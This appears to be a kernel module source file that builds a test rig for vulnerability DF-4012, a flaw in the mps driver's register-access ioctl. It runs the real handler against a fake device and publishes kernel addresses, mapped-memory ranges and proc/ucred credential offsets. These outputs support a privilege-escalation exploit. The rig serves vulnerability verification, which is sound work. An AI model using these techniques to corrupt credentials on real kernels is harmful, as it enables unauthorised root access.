/*
 * DF-4012 verification rig -- dispatches the REAL production mps
 * ioctl handler (mps_ioctl_devsw, compiled into the shipped kernel)
 * against a fabricated softc, for MPTIOCTL_REG_ACCESS.
 *
 * The rig stands in ONLY for what this QEMU guest cannot provide:
 * an LSI Fusion-MPT HBA for mps_attach() and its PCI register BAR.
 * Everything from dev_dioctl() down -- devfs dispatch, the ioctl
 * switch (mps_user.c:2177), mps_lock/mps_unlock, mps_user_reg_access
 * (mps_user.c:1959), the inlined mps_regread/mps_regwrite
 * (mpsvar.h:462-475) and the bus_space memory accessors
 * (cpu/x86_64/include/bus_dma.h:153-158,401-408) -- is production
 * code executing from the shipped kernel image.
 *
 * Softc fabrication (offsets proven against the shipped
 * /boot/kernel/kernel.debug DWARF):
 *   +0x118 mps_regs_resource   -> fake struct resource, r_start=0,
 *                                 r_end=0xfff (4 KiB aperture; used
 *                                 by rman_get_size() on FIXED builds)
 *   +0x120 mps_bhandle         -> 4 MiB kmalloc block (fake BAR KVA;
 *                                  only the first 4 KiB is "aperture")
 *   +0x128 mps_btag            -> X86_64_BUS_SPACE_MEM (1), so the
 *                                 compiled accessor takes the plain
 *                                 volatile load/store memory path
 *   +0x190 mps_lock            -> lockinit()ed
 *
 * /dev/df4012rig carries the EXACT ownership make_dev() gives
 * /dev/mpsN in mps_attach_user() (mps_user.c:188):
 * UID_ROOT, GID_OPERATOR, 0640.  The production handler is resolved
 * at runtime from the running kernel binary and its prologue is
 * byte-verified before every dispatch.  Only root can load/prime.
 *
 * The rig also publishes (as world-readable sysctls, standing in for
 * what an attacker derives on real hardware from the world-readable
 * kernel image + deterministic boot heap):
 *   - kern.df4012rig_bar      KVA of the fake BAR (on real hw: fixed
 *                             per boot by deterministic attach order)
 *   - kern.df4012rig_scan_lo/hi  contiguous MAPPED kmem range above
 *                             the BAR (rig walks kernel_map's rb-tree;
 *                             stands in for heap-layout knowledge.  It
 *                             also protects the demo from reading
 *                             unmapped pages, which would panic the
 *                             guest for real.)
 *   - kern.df4012rig_o_*      struct proc/ucred field offsets computed
 *                             with offsetof() from the same headers
 *                             the kernel was built from
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/malloc.h>
#include <sys/lock.h>
#include <sys/sysctl.h>
#include <sys/proc.h>
#include <sys/globaldata.h>
#include <sys/thread.h>
#include <sys/ucred.h>
#include <sys/types.h>
#include <sys/tree.h>
#include <vm/vm_map.h> /* PAGE_SIZE */
#include <vm/vm_kern.h>
#include <vm/pmap.h>
#include <machine/vmparam.h>	/* PHYS_TO_DMAP */

static d_open_t		rig_open;
static d_close_t	rig_close;
static d_ioctl_t	rig_ioctl;

static struct dev_ops rig_ops = {
	{ "df4012rig", 0, D_MPSAFE },
	.d_open =	rig_open,
	.d_close =	rig_close,
	.d_ioctl =	rig_ioctl,
};

#define	BAR_TOTAL	(4 * 1024 * 1024)	/* one contiguous kmalloc */
#define	APERTURE	0x1000			/* fake register aperture */
#include <sys/ioccom.h>
#define	RIG_REFRESH_CMD	_IO('D', 1)		/* rig-internal: rescan window */
#define	RIG_CHECK_CMD	_IOWR('D', 2, uint32_t)	/* rig-internal: is BAR+off mapped? */
struct rig_run_req {
	uint32_t	idx;		/* 0xffffffff -> return count in lo */
	uint32_t	pad;
	uint64_t	lo;
	uint64_t	hi;
};
#define	RIG_RUN_CMD	_IOWR('D', 3, struct rig_run_req)

/* mps_softc field offsets (proven via DWARF on /boot/kernel/kernel.debug) */
#define	O_REGS_RES	0x118
#define	O_BHANDLE	0x120
#define	O_BTAG		0x128
#define	O_LOCK		0x190

static unsigned long rig_target;	/* runtime addr of mps_ioctl_devsw */
static void	  *rig_sc;		/* fabricated mps_softc */
static void	  *rig_fake_res;	/* fabricated struct resource */
static struct cdev *rig_cdev;
static unsigned long rig_dispatches;

SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_target, CTLFLAG_RW, &rig_target, 0,
    "runtime address of production mps_ioctl_devsw (prime as root)");

static unsigned long rig_bar;
static unsigned long rig_scan_lo;
static unsigned long rig_scan_hi;

SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_baraddr, CTLFLAG_RD, &rig_bar, 0,
    "KVA of fake BAR");
static void compute_scan_range(unsigned long from, unsigned long *lo,
    unsigned long *hi);

static int
rig_scan_lo_sysctl(SYSCTL_HANDLER_ARGS)
{
	return (sysctl_handle_64(oidp, &rig_scan_lo, 0, req));
}

static int
rig_scan_hi_sysctl(SYSCTL_HANDLER_ARGS)
{
	uint64_t v = rig_scan_hi;

	if (v > rig_bar + 0x100000000UL)
		v = rig_bar + 0x100000000UL;
	return (sysctl_handle_64(oidp, &v, 0, req));
}

SYSCTL_PROC(_kern, OID_AUTO, df4012rig_scan_lo, CTLTYPE_U64 | CTLFLAG_RD,
    NULL, 0, rig_scan_lo_sysctl, "QU",
    "contiguous mapped kmem above the BAR: start (computed at read)");
SYSCTL_PROC(_kern, OID_AUTO, df4012rig_scan_hi, CTLTYPE_U64 | CTLFLAG_RD,
    NULL, 0, rig_scan_hi_sysctl, "QU",
    "contiguous mapped kmem above the BAR: end (exclusive, clamped to +4GiB)");

#define	RIG_MAX_RUNS	200
struct rig_runs_blob {
	uint32_t	n;
	uint32_t	pad;
	uint64_t	lo[RIG_MAX_RUNS];
	uint64_t	hi[RIG_MAX_RUNS];
};
static unsigned long rig_run_lo[RIG_MAX_RUNS];
static unsigned long rig_run_hi[RIG_MAX_RUNS];
static int rig_nruns;
static struct rig_runs_blob rig_runs_pub;
static unsigned long rig_dbg_proc;

SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_dbg_proc, CTLFLAG_RD, &rig_dbg_proc, 0,
    "curproc at refresh time (offset verification aid)");
SYSCTL_PROC(_kern, OID_AUTO, df4012rig_runs_blob,
    CTLTYPE_OPAQUE | CTLFLAG_RD, &rig_runs_pub, sizeof(rig_runs_pub),
    sysctl_handle_opaque, "LU", "packed run list: n, then lo/hi u64s");

static unsigned long o_p_pid = offsetof(struct proc, p_pid);
static unsigned long o_p_ppid = offsetof(struct proc, p_ppid);
static unsigned long o_p_pptr = offsetof(struct proc, p_pptr);
static unsigned long o_p_ucred = offsetof(struct proc, p_ucred);
static unsigned long o_p_comm = offsetof(struct proc, p_comm);
static unsigned long o_cr_uid = offsetof(struct ucred, cr_uid);
static unsigned long o_cr_ruid = offsetof(struct ucred, cr_ruid);
static unsigned long o_cr_svuid = offsetof(struct ucred, cr_svuid);
static unsigned long o_cr_ngroups = offsetof(struct ucred, cr_ngroups);
static unsigned long o_cr_groups = offsetof(struct ucred, cr_groups);
static unsigned long o_cr_rgid = offsetof(struct ucred, cr_rgid);
static unsigned long o_cr_svgid = offsetof(struct ucred, cr_svgid);
static unsigned long s_ucred = sizeof(struct ucred);

SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_p_pid, CTLFLAG_RD, &o_p_pid, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_p_ppid, CTLFLAG_RD, &o_p_ppid, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_p_pptr, CTLFLAG_RD, &o_p_pptr, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_p_ucred, CTLFLAG_RD, &o_p_ucred, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_p_comm, CTLFLAG_RD, &o_p_comm, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_cr_uid, CTLFLAG_RD, &o_cr_uid, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_cr_ruid, CTLFLAG_RD, &o_cr_ruid, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_cr_svuid, CTLFLAG_RD, &o_cr_svuid, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_cr_ngroups, CTLFLAG_RD,
    &o_cr_ngroups, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_cr_groups, CTLFLAG_RD,
    &o_cr_groups, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_cr_rgid, CTLFLAG_RD, &o_cr_rgid, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_o_cr_svgid, CTLFLAG_RD,
    &o_cr_svgid, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df4012rig_s_ucred, CTLFLAG_RD, &s_ucred, 0, "");

static int
rig_page_mapped(unsigned long va)
{
	uint64_t *pml4 = (uint64_t *)kernel_pmap->pm_pml4;
	uint64_t e;

	e = pml4[(va >> 39) & 0x1ff];
	if ((e & 1) == 0)
		return (0);
	e = *((uint64_t *)PHYS_TO_DMAP(e & 0x000ffffffffff000UL) +
	    ((va >> 30) & 0x1ff));
	if ((e & 1) == 0)
		return (0);
	if (e & 0x80)
		return (1);
	e = *((uint64_t *)PHYS_TO_DMAP(e & 0x000ffffffffff000UL) +
	    ((va >> 21) & 0x1ff));
	if ((e & 1) == 0)
		return (0);
	if (e & 0x80)
		return (1);
	e = *((uint64_t *)PHYS_TO_DMAP(e & 0x000ffffffffff000UL) +
	    ((va >> 12) & 0x1ff));
	return ((e & 1) != 0);
}

/*
 * Scan-window sysctls are computed AT READ TIME (the exploit's forked
 * brood is allocated above the BAR only AFTER the rig loads).  The
 * window is the first contiguous page-run above BAR_TOTAL that the
 * page tables say is actually mapped, clamped to what a u32
 * RegOffset can reach ([BAR, BAR + 4 GiB)).
 */
static void
compute_scan_range(unsigned long from, unsigned long *lo, unsigned long *hi)
{
	unsigned long va = from;
	unsigned long start = 0;
	int nrun = 0;

	rig_nruns = 0;
	while (va < from + 0x100000000UL && nrun < RIG_MAX_RUNS) {
		if (rig_page_mapped(va)) {
			if (start == 0)
				start = va;
		} else {
			if (start != 0 && (va - start) >= 4 * PAGE_SIZE) {
				rig_run_lo[nrun] = start;
				rig_run_hi[nrun] = va;
				nrun++;
			}
			start = 0;
		}
		va += PAGE_SIZE;
	}
	if (start != 0 && nrun < RIG_MAX_RUNS &&
	    (va - start) >= 4 * PAGE_SIZE) {
		rig_run_lo[nrun] = start;
		rig_run_hi[nrun] = va;
		nrun++;
	}
	rig_nruns = nrun;
	if (nrun > 0) {
		*lo = rig_run_lo[0];
		*hi = rig_run_hi[0];
	} else
		*lo = *hi = 0;
}

static int
rig_open(struct dev_open_args *ap)
{
	return (0);
}

static int
rig_close(struct dev_close_args *ap)
{
	return (0);
}

static int
rig_ioctl(struct dev_ioctl_args *ap)
{
	int (*fn)(struct dev_ioctl_args *);
	/* first 8 bytes of mps_ioctl_devsw: push %rbp; mov %rsp,%rbp;
	 * push %r15; push %r14 (identical in the shipped vulnerable
	 * kernel and in the fix.diff-rebuilt kernel) */
	static const uint8_t prologue[8] = {
		0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56
	};

	if (rig_target == 0) {
		kprintf("df4012rig: target not primed "
		    "(kern.df4012rig_target)\n");
		return (ENXIO);
	}
	if (memcmp((const void *)rig_target, prologue, sizeof(prologue)) != 0) {
		kprintf("df4012rig: REFUSING dispatch - prologue mismatch at "
		    "%p\n", (void *)rig_target);
		return (ENXIO);
	}
	if (ap->a_cmd == RIG_CHECK_CMD) {
		uint32_t off2 = *(uint32_t *)ap->a_data; /* kernel copy */
		int ok = rig_page_mapped(rig_bar + off2);

		*(int *)ap->a_data = ok;
		return (0);
	}
	if (ap->a_cmd == RIG_RUN_CMD) {
		struct rig_run_req rr;
		uint32_t idx;

		rr = *(struct rig_run_req *)ap->a_data; /* kernel copy */
		idx = rr.idx;
		memset(&rr, 0, sizeof(rr));
		if (idx == 0xffffffff) {
			compute_scan_range(rig_bar + BAR_TOTAL,
			    &rig_scan_lo, &rig_scan_hi);
			rig_dbg_proc = (unsigned long)(uintptr_t)
			    mycpu->gd_curthread->td_proc;
			rr.lo = (uint64_t)(unsigned)rig_nruns;
		} else if (idx < (uint32_t)rig_nruns) {
			rr.lo = rig_run_lo[idx];
			rr.hi = rig_run_hi[idx];
		}
		*(struct rig_run_req *)ap->a_data = rr;
		return (0);
	}
	if (ap->a_cmd == RIG_REFRESH_CMD) {
		compute_scan_range(rig_bar + BAR_TOTAL, &rig_scan_lo,
		    &rig_scan_hi);
		rig_dbg_proc = (unsigned long)(uintptr_t)
		    mycpu->gd_curthread->td_proc;
		memset(&rig_runs_pub, 0, sizeof(rig_runs_pub));
		rig_runs_pub.n = (uint32_t)rig_nruns;
		for (int i = 0; i < rig_nruns && i < RIG_MAX_RUNS; i++) {
			rig_runs_pub.lo[i] = rig_run_lo[i];
			rig_runs_pub.hi[i] = rig_run_hi[i];
		}
		kprintf("df4012rig: %d pmap-verified runs above BAR; "
		    "run0=[%#lx, %#lx)\n", rig_nruns, rig_scan_lo,
		    rig_scan_hi);
		return (0);
	}
	if ((++rig_dispatches & 0xffff) == 1)
		kprintf("df4012rig: dispatch REAL mps_ioctl_devsw @ %p "
		    "cmd=%#lx (dispatch #%lu) sc=%p bhandle=%#lx\n",
		    (void *)rig_target, ap->a_cmd, rig_dispatches, rig_sc,
		    *(unsigned long *)((uint8_t *)rig_sc + O_BHANDLE));
	fn = (int (*)(struct dev_ioctl_args *))rig_target;
	return (fn(ap));
}

static int
df4012rig_handler(struct module *m, int what, void *arg)
{
	int err = 0;

	switch (what) {
	case MOD_LOAD: {
		uint8_t *bar = kmalloc(BAR_TOTAL, M_DEVBUF, M_WAITOK | M_ZERO);
		uint8_t *sc = kmalloc(0x400, M_DEVBUF, M_WAITOK | M_ZERO);

		rig_fake_res = kmalloc(0x100, M_DEVBUF, M_WAITOK | M_ZERO);
		if (bar == NULL || sc == NULL || rig_fake_res == NULL)
			return (ENOMEM);
		/* fabricated struct resource: aperture [0, 0xfff].
		 * DWARF-proven (kernel.debug):
		 * r_start @ +0x28, r_end @ +0x30. */
		*(unsigned long *)((uint8_t *)rig_fake_res + 0x28) = 0;
		*(unsigned long *)((uint8_t *)rig_fake_res + 0x30) =
		    APERTURE - 1;	/* r_end */
		*(uint64_t *)(sc + O_REGS_RES) = (uint64_t)(uintptr_t)
		    rig_fake_res;
		*(uint64_t *)(sc + O_BHANDLE) = (uint64_t)(uintptr_t)bar;
		*(uint64_t *)(sc + O_BTAG) = 1;	/* X86_64_BUS_SPACE_MEM */
		lockinit((struct lock *)(sc + O_LOCK), "df4012rig_lk", 0, 0);
		rig_sc = sc;
		rig_bar = (unsigned long)(uintptr_t)bar;
		compute_scan_range(rig_bar + BAR_TOTAL, &rig_scan_lo,
		    &rig_scan_hi);
		rig_cdev = make_dev(&rig_ops, 0, UID_ROOT, GID_OPERATOR, 0640,
		    "df4012rig");
		if (rig_cdev == NULL) {
			kfree(bar, M_DEVBUF);
			kfree(sc, M_DEVBUF);
			rig_sc = NULL;
			return (ENOMEM);
		}
		rig_cdev->si_drv1 = rig_sc;
		kprintf("df4012rig: loaded; sc=%p fake BAR=%#lx-%#lx "
		    "(aperture 0x1000); scan window %#lx-%#lx; "
		    "/dev/df4012rig 0640 root:operator\n",
		    rig_sc, rig_bar, rig_bar + BAR_TOTAL - 1, rig_scan_lo,
		    rig_scan_hi);
		break;
	}
	case MOD_UNLOAD:
		if (rig_cdev != NULL)
			destroy_dev(rig_cdev);
		if (rig_sc != NULL) {
			kfree((void *)(*(uint64_t *)((uint8_t *)rig_sc +
			    O_BHANDLE)), M_DEVBUF);
			kfree(rig_sc, M_DEVBUF);
		}
		if (rig_fake_res != NULL)
			kfree(rig_fake_res, M_DEVBUF);
		kprintf("df4012rig: unloaded\n");
		break;
	default:
		err = EOPNOTSUPP;
		break;
	}
	return (err);
}

static moduledata_t df4012rig_mod = {
	"df4012rig",
	df4012rig_handler,
	NULL
};

DECLARE_MODULE(df4012rig, df4012rig_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_VERSION(df4012rig, 1);